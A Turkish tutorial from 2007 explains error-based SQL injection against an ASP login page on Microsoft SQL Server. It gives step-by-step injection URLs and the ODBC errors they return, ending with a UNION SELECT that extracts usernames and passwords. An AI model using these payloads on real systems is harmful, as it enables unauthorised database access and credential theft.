|
Tarih: 3 Nisan 2007
SQL Injection web uygulama güvenliğini
tehdit eden en önemli problemlerden biridir.
Genellikle uygulama parametrelerine yollanan
girdilerin yeterli filtrelemeye tabi
tutulmadan kullanılması nedeniyle ortaya
çıkmaktadır. Uygulama parametrelerine
yollanan özel istekler sonucu elde edilen
hata mesajları sayesinde SQL Injection
kullanılarak veritabanı yapısının
öğrenilmesi veya değiştirilmesi mümkün
olabilir. Bu yazıda arka planda Microsoft
SQL sunucu kullanılan bir uygulamada ODBC
hata mesajlarından yararlanılarak nasıl SQL
Injection gerçekleştirilebileceği
anlatılmaya çalışılmıştır.
Uygulamanın SQL Injection açığından
etkilenip etkilenmediğini anlamak için
kullanılan en yaygın ve basit yöntemlerden
biri mevcut parametere değerine ' (%27 -
tırnak) işareti eklemektir.
http://www.site.com/login.asp?userid=aaa'
Microsoft OLE DB Provider for ODBC Drivers
error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark before the
character string 'aaa' AND
password = ''.
/login.asp, line 7
Alınan hata mesajlarından SQL Injection
yapılabileceği ve veri tabanının ilgili
tablosunda password isimli bir alan olduğu
anlaşılmaktadır. Elde edilen bu bilgiden
yararlanılarak aşağıdaki gibi yeni bir istek
yollanabilir.
http://www.site.com/login.asp?userid=ddd'
group by (password)--
Microsoft OLE DB Provider for ODBC Drivers
error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL
Server]Column 'tblUsers.username'
is invalid in the select list because it is
not contained in either an aggregate
function or the GROUP BY clause.
/login.asp, line 7
Hata mesajlarına bakıldığında ilgili tablo
isminin tblUsers olduğu ve username isimli
başka bir alan olduğu da görülmektedir.
Yollayacağımız veriyi bu yeni bilgilere göre
düzenleyip aşağıdaki gibi bir istek
yollayabiliriz.
http://www.site.com/login.asp?userid=aaa'
group by (username)--
Microsoft OLE DB Provider for ODBC Drivers
error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL
Server]Column 'tblUsers.lastloggedin'
is invalid in the select list because it is
not contained in either an aggregate
function or the GROUP BY clause.
/login.asp, line 7
Bu hata mesajı da kullanılan tabloda
lastloggedin
isimli alanın olduğunu göstermektedir. Bu
şekilde group by sql ifadesi içine yeni
tespit edilen alan bilgileri girilerek,
tabloda kullanılan tüm alanlar tespit
edilebilir. Tespit edilen tüm bu alanlar
union select kullanılarak
gerçekleştirilebilecek sql injection
saldırılarında kullanılabilir.
http://www.site.com/login.asp?userid=aaa'
union select username from tblusers--
Union select iki select sql ifadesini
birlikte çalıştırmak istenildiği zaman
kullanılmaktadır. Union select kullanıldığı
zaman ikinci select ifadesinde kullanılan
alan (field) sayısı ile tipi mutlaka
ilk select ifadesindeki ile aynı olmalıdır.
Eğer alan sayısı veya tipinde bir farklılık
var ise aşağıdaki gibi bir hata mesajı
oluşacaktır.
Microsoft OLE DB Provider for ODBC Drivers
error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL
Server]All queries in
an SQL statement containing a UNION operator
must have an equal number of expressions in
their target lists.
/login.asp, line 7
Hata mesajlarının ortadan kalkması ve ikinci
select’de yer alan sorgu sonuçlarının
görüntülenmesi için alan tipi ve sayısı ilk
select ifadesindeki ile aynı olana kadar
istekler yollanmalıdır. Union select
kullanılarak tablo içeriğine ulaşmak için
aynı zamanda uygulamanın veritabanından
aldığı kayıtları görüntüleyen bir koda sahip
olması gerekmektedir.
http://www.site.com/login.asp?userid=aaa'
union select username, username from
tblusers--
Alan tiplerinin ne olduğu deneme
yanılma yoluyla bulunabileceği gibi,
matematiksel fonksiyonlarla da
öğrenilebilir. Örneğin
sum fonksiyonu string tipindeki
değerler için hata verirken, rakamsal
değerlerde hata durumu oluşturmayacaktır.
http://www.site.com/login.asp?userid=aaa'
compute sum(username)--
Microsoft OLE DB Provider for ODBC Drivers
error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL
Server]The sum or average aggregate
operation cannot take a
nvarchar data
type as an argument.
/login.asp, line 7
Hata mesajında
username alanının
varchar tipinde
olduğu görülmektedir. Veri tipleri, alan
isimleri ve tablo adları tespit edildikten
sonra, ilgili tabloda rahatlıkla select,
update ve insert gibi işlemler
gerçekleştirilebilecektir.
http://www.site.com/login.asp?userid=aaa'
union select username, password, null from
tblusers-- |